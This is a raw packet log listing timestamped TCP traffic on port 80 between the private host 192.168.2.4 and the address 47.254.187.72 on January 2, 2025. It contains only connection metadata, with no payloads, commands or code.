Jan 2, 2025 20:34:53.434928894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434954882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434956074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434971094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434983015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434986115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434993982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435003042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435003996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435019970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435038090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435056925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435067892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435080051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435097933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435097933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435112000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435116053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435122967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435146093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435172081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435228109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435239077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435256958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435267925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435270071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435278893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435288906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435297012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435301065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435323000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435342073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435380936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435390949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435401917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435415983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435420036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435431004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435436010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435441971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435462952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435463905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435473919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435482025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435486078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435504913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435529947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435600996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435611963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435622931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435642004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435642004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435652971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435663939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435668945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435686111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435709953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435791969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435802937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435812950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435822964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435825109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435834885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435846090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435878992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.435959101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435970068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435981035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435990095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.435998917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.436002016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.436012983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.436017990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.436022997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.436034918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.436063051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.438133001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.438153028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.438163042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.438196898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.438225031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.438235998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.438241959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.438246012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.438257933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.438261032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.438267946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.438278913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.438307047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.440143108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.440174103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.440190077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.440201998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.440211058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.440212011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.440237045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.440265894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.440341949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.440351009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.440361023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.440371990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.440383911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.440418005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.444108009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.444123983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.444134951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.444145918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.444150925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.444158077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.444168091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.444175959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.444179058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.444190025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.444211960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.444226027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.448823929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.448846102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.448857069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.448874950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.448896885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.448920965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.448931932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.448942900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.448954105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.448962927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.448971033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.448996067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.448996067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.449019909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.449031115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.449040890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.449050903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.449060917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.449060917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.449071884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.449089050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.449105024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.450016022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.450026989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.450037003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.450047016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.450053930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.450062990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.450073004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.450073957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.450083971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.450094938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.450117111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.450133085 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.451057911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.451116085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.451124907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.451126099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.451136112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.451153040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.451154947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.451163054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.451179981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.451190948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.451190948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.451211929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.451235056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521439075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521455050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521473885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521485090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521495104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521512032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521517992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521528959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521539927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521539927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521548986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521553040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521559954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521570921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521579027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521579981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521596909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521598101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521609068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521617889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521617889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521629095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521636009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521640062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521650076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521656990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521661043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521672964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521678925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521683931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521693945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521696091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521716118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521733046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521734953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521744013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521754026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521781921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521815062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521852016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521862984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521873951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521891117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521900892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521903038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521915913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521927118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521927118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521940947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521955013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521965981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521970987 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.521976948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521987915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.521996021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522015095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522028923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522039890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522042990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522049904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522059917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522063971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522073984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522080898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522083044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522106886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522121906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522197962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522214890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522226095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522234917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522237062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522250891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522253990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522262096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522270918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522305012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522336006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522346020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522356033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522372961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522380114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522396088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522397041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522406101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522412062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522420883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522449017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522536039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522546053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522556067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522573948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522581100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522583008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522598982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522599936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522609949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522619963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522624016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522630930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522653103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522665024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522665977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522675991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522686005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522694111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.522696972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522715092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.522732973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.524966002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.524981022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.524998903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.525010109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.525019884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.525028944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.525031090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.525041103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.525053024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.525073051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.525091887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.527045012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.527059078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.527070999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.527081013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.527087927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.527091980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.527101994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.527112007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.527112007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.527123928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.527146101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.527160883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.530942917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.530965090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.530977011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.530986071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.530996084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.531002998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.531006098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.531018019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.531028986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.531055927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535516024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535550117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535558939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535558939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535578012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535583019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535594940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535598040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535604954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535614014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535615921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535625935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535628080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535636902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535649061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535662889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535676956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535697937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535718918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535729885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535739899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535749912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535763979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535793066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535815001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535825014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535835981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535845041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.535851002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535861969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.535892010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.536837101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.536850929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.536861897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.536885977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.536887884 CET	49730	80	192.168.2.4	47.254.187.72
